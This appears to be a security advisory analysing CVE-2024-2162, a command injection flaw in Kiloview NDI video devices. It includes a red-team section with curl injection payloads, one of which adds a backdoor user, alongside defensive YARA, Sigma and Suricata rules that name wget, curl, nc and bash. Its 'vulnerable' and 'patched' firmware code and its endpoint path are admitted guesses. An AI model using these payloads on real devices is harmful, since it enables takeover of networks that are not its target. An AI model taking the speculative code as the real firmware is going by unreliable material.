CVE-2024-2162

Executive Summary

CVE-2024-2162 is a critical OS Command Injection vulnerability affecting multiple Kiloview NDI devices, including the N3, N3-s, N4, N20, N30, and N40 models. This flaw allows a low-privileged attacker to execute arbitrary operating system commands on the device with high privileges (root/system level). The vulnerability resides in the device's web management interface or API, where user-supplied input is improperly sanitized before being passed to a system shell. Successful exploitation can lead to full device compromise, data exfiltration, lateral movement within a broadcast or production network, and potential disruption of live video streams. The vendor has released firmware version 2.02.0227 to address this issue.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – An attacker needs a valid low-privileged account on the device.
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The combination of low attack complexity, network accessibility, and high impact makes this vulnerability highly attractive to threat actors targeting broadcast and media production environments.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection (CWE-78) in the Kiloview NDI device's web management interface. The device likely uses a CGI script or an API endpoint that accepts user input (e.g., device name, network settings, or stream parameters) and passes it unsanitized to a system command like system(), exec(), or popen().

Attack Flow:

1. Authentication: The attacker first obtains low-privileged credentials (e.g., via default credentials, brute-force, or phishing).
2. Injection Point: The attacker identifies an input field (e.g., a "Device Name" or "Stream URL" parameter) that is not properly sanitized.
3. Payload Delivery: The attacker injects command separators (e.g., ;, |, &&, `) followed by malicious commands.
4. Execution: The device executes the injected commands with the privileges of the web server (typically root).
5. Persistence & Lateral Movement: The attacker can install backdoors, exfiltrate data, or pivot to other devices on the network.

Example vulnerable code (conceptual):

char cmd[256];
snprintf(cmd, sizeof(cmd), "ping -c 1 %s", user_input);
system(cmd);

Vulnerable vs. Patched Code

Vulnerable Code (Firmware < 2.02.0227):

// Vulnerable: Direct concatenation of user input into system command
void set_device_name(char *name) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "echo '%s' > /etc/device_name", name);
    system(cmd);
}

Patched Code (Firmware 2.02.0227):

// Patched: Input validation and sanitization
void set_device_name(char *name) {
    // Whitelist allowed characters (alphanumeric, hyphen, underscore)
    if (!is_valid_hostname(name)) {
        log_error("Invalid device name");
        return;
    }
    // Use safe API instead of system()
    write_to_file("/etc/device_name", name);
}

The patch likely implements input validation (whitelist of allowed characters) and replaces dangerous system() calls with safer API functions that do not invoke a shell.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Kiloview NDI device with firmware < 2.02.0227
• Low-privileged credentials (e.g., admin/admin)
• Network access to the device's web interface (default port 80 or 443)

Exploitation Steps:

1. Identify the injection point: Use a web proxy (e.g., Burp Suite) to intercept requests. Look for parameters like name, url, ip, or cmd in POST/GET requests.

2. Craft the payload: Inject a command separator followed by a malicious command. Example:

   ; id > /tmp/out.txt
   

3. Execute the attack:

   # Using curl to send a malicious request
   curl -X POST "http://<device_ip>/cgi-bin/set_config" \
        -d "name=test;id>/tmp/pwned.txt"
   

4. Verify execution:

   # Check if the command executed
   curl "http://<device_ip>/cgi-bin/get_file?file=/tmp/pwned.txt"
   

5. Establish persistence:

   # Add a backdoor user
   curl -X POST "http://<device_ip>/cgi-bin/set_config" \
        -d "name=test;useradd -m -s /bin/bash attacker;echo 'attacker:password' | chpasswd"
   

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual HTTP requests: Look for requests containing shell metacharacters (;, |, &&, `) in POST/GET parameters.
2. Check for unexpected processes: Use ps aux or top to identify spawned shells (e.g., /bin/sh, /bin/bash).
3. Review system logs: Check /var/log/messages, /var/log/syslog, or web server logs for suspicious entries.
4. Network traffic analysis: Look for outbound connections from the device to unknown IPs (potential C2).

Hunting Query (Splunk):

index=network sourcetype=syslog
| search "Kiloview" AND ("; " OR "| " OR "&& " OR "`")
| table _time, src_ip, dest_ip, command

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing shell metacharacters in POST/GET parameters
• Outbound connections to known malicious IPs or domains
• Unusual DNS queries from the device

File IOCs:

• /tmp/pwned.txt or similar files created by attackers
• Modified /etc/passwd or /etc/shadow (new user accounts)
• Presence of web shells (e.g., cmd.php, shell.asp)

Process IOCs:

• Unexpected /bin/sh or /bin/bash processes spawned by the web server
• Processes running as root that should not be

YARA Rule:

rule Kiloview_NDI_Command_Injection_IOC {
    meta:
        description = "Detects files or memory patterns associated with CVE-2024-2162 exploitation"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2162"
    strings:
        $s1 = "id > /tmp/" ascii wide nocase
        $s2 = "useradd" ascii wide nocase
        $s3 = "chpasswd" ascii wide nocase
        $s4 = "/cgi-bin/set_config" ascii wide nocase
    condition:
        any of them
}

Detection Engineering

YARA Rule

rule CVE_2024_2162_Kiloview_NDI_Command_Injection {
    meta:
        description = "Detects command injection attempts against Kiloview NDI devices"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2162"
    strings:
        $cmd1 = /[;&|`]\s*(id|cat|ls|whoami|uname|wget|curl|nc|bash|sh|python|perl)/ ascii wide nocase
        $cmd2 = /(system|exec|popen|shell_exec)\(/ ascii wide nocase
        $uri1 = "/cgi-bin/" ascii wide nocase
        $uri2 = "/set_config" ascii wide nocase
    condition:
        ($cmd1 or $cmd2) and ($uri1 or $uri2)
}

Sigma Rule

title: Kiloview NDI Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests containing shell metacharacters targeting Kiloview NDI devices
author: Valters IT
date: 2024-01-01
references:
    - CVE-2024-2162
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/cgi-bin/'
            - '/set_config'
        cs-uri-query|re:
            - ';[a-z]'
            - '|[a-z]'
            - '&&[a-z]'
            - '`[a-z]'
    condition: selection
falsepositives:
    - Legitimate use of special characters in device names (unlikely)
level: high
tags:
    - attack.t1203
    - cve.2024.2162

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-2162 Kiloview NDI Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/";
    http_uri;
    pcre:"/[;&|`]\s*(id|cat|ls|whoami|uname|wget|curl|nc|bash|sh|python|perl)/i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2024-2162;
)

Remediation & Mitigation

Immediate Actions:

1. Update Firmware: Upgrade all affected Kiloview NDI devices to firmware version 2.02.0227 or later.
2. Change Default Credentials: Ensure all devices use strong, unique passwords.
3. Network Segmentation: Isolate Kiloview NDI devices on a separate VLAN with strict firewall rules.
4. Disable Unused Services: If the web interface is not required, disable it or restrict access to trusted IPs.

Long-Term Mitigations:

1. Input Validation: Implement strict input validation (whitelist) for all user-supplied data.
2. Use Safe APIs: Replace system(), exec(), and popen() with safer alternatives like execve() or library functions.
3. Web Application Firewall (WAF): Deploy a WAF to filter malicious requests.
4. Regular Security Audits: Conduct periodic penetration testing and code reviews.

Valters IT Signature:

Report generated by Valters IT DevSecOps & CTI Division | CVE-2024-2162 Analysis | 2024